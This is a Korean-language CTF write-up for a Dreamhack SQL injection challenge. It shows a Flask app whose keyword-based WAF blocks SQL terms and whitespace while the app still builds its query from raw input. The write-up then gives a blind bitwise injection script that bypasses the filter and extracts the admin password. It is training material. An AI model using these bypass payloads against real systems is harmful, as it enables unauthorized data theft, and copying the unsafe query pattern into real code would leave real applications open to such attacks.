본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] sql injection bypass WAF Advanced write up

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/', 
            '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data.lower():
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

문제와 코드이다. 이전 WAF 문제에서 필터링 하는 키워드들이 추가 되었다. 공백 우회를 맊는 \t, \n 등이 추가 되었고 대소문자도 구분하지 않고 있다. 하지만 여전히 싱글쿼터는 유효하기 때문에 sqli 취약점이 발생한다.

 

일단 공백을 필터링하기 위해 여러 문자들을 필터링 하지만 딱히 의미가 있어 보이진 않는다. 이번에도 비트연산을 통해 flag를 얻어준다.

 

import requests
import string

ch = string.ascii_letters + string.punctuation	+ string.digits

param = {"uid": ""}
url = "http://host3.dreamhack.games:15849/"

query = "a'||uid=0x61646d696e&&substr(lpad(bin(ascii(substr(upw,{},1))),7.0),{},1)=1#"
flag_bit = ""
admin_pw = ""
i = 0
while(1):
    i += 1
    flag_bit = ""
    for j in range(1, 8):
        param["uid"] = query.format(i,j)
        res = requests.get(url, params=param)
        if "admin" in res.text:
            flag_bit += str(1)
        else:
            flag_bit += str(0)
    admin_pw += chr(int(flag_bit, 2))
    print(admin_pw)

    if admin_pw[-1] == "}":
        break

 

 

속성이나 열 이름을 백틱으로 감싸줘도 된다.